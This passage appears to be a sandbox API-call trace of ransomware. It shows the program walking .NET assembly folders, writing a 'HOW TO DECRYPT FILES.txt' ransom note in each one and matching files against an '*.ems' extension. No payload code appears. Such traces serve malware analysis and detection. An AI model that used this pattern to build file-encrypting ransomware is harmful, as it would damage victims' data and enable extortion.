(pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\*.*") returned="*.*" [0101.040] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c" [0101.040] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a513b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a513b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.043] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0101.043] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a513b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a513b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.043] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0101.043] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x553a8c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x553a8c30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x388, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.InfoPath.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0101.043] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.043] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.InfoPath.config") returned -1 [0101.043] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.InfoPath.config") returned -1 [0101.044] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.InfoPath.config") returned -1 [0101.044] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0101.044] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\" [0101.044] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.044] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.044] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.infopath\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0101.044] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.infopath\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.048] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.InfoPath.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.InfoPath.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.InfoPath.config" [0101.048] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.InfoPath.config", pszSpec="*.ems") returned 0 [0101.049] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65d12130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d12130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d12130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="policy.12.0.Microsoft.Office.Interop.InfoPath.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0101.049] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.049] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="policy.12.0.Microsoft.Office.Interop.InfoPath.dll") returned -1 [0101.049] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="policy.12.0.Microsoft.Office.Interop.InfoPath.dll") returned -1 [0101.049] lstrcmpiA (lpString1="", lpString2="policy.12.0.Microsoft.Office.Interop.InfoPath.dll") returned -1 [0101.049] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.InfoPath.config") returned="Policy.12.0.Microsoft.Office.Interop.InfoPath.config" [0101.049] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\" [0101.049] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.049] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.049] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.infopath\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0101.049] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\", lpString2="policy.12.0.Microsoft.Office.Interop.InfoPath.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\policy.12.0.Microsoft.Office.Interop.InfoPath.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\policy.12.0.Microsoft.Office.Interop.InfoPath.dll" [0101.050] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath\\14.0.0.0__71e9bce111e9429c\\policy.12.0.Microsoft.Office.Interop.InfoPath.dll", pszSpec="*.ems") returned 0 [0101.050] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65d12130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d12130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d12130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="policy.12.0.Microsoft.Office.Interop.InfoPath.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0101.050] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.050] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x553a8c30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a513b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a513b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0101.050] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0101.050] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a050f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0000, dwReserved1=0x69006c, cFileName="Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml", cAlternateFileName="POLICY~2.XML")) returned 1 [0101.051] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0101.051] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml" [0101.051] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a050f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0101.051] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6a050f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.052] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56217190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 1 [0101.052] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\*.*") returned="*.*" [0101.052] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\", lpString2="14.0.0.0__71e9bce111e9429c" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c" [0101.052] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56217190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0101.056] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56217190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.056] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65d38290, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x65d38290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65d38290, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x390, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml.config", cAlternateFileName="POLICY~1.CON")) returned 1 [0101.056] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.056] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml.config") returned -1 [0101.056] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml.config") returned -1 [0101.056] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml.config") returned -1 [0101.056] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\*.*") returned="*.*" [0101.056] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\" [0101.056] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.056] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.056] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.infopath.xml\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0xffffffff [0101.057] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.infopath.xml\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0101.060] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml.config" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml.config") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml.config" [0101.060] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml.config", pszSpec="*.ems") returned 0 [0101.060] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56217190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56217190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56217190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml.dll", cAlternateFileName="POLICY~1.DLL")) returned 1 [0101.060] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0101.060] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml.dll") returned -1 [0101.060] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml.dll") returned -1 [0101.060] lstrcmpiA (lpString1="", lpString2="Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml.dll") returned -1 [0101.060] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml.config") returned="Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml.config" [0101.060] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\" [0101.060] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\") returned="" [0101.061] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" [0101.061] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\policy.12.0.microsoft.office.interop.infopath.xml\\14.0.0.0__71e9bce111e9429c\\how to decrypt files.txt")) returned 0x20 [0101.061] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\", lpString2="Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml.dll" [0101.061] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml\\14.0.0.0__71e9bce111e9429c\\Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml.dll", pszSpec="*.ems") returned 0 [0101.061] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56217190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x56217190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x56217190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="Policy.12.0.Microsoft.Office.Interop.InfoPath.Xml.dll", cAlternateFileName="POLICY~1.DLL")) returned 0 [0101.061] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0101.062] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56217190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa6a050f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa6a050f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="14.0.0.0__71e9bce111e9429c", cAlternateFileName="1400~1.0__")) returned 0 [0101.062] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) 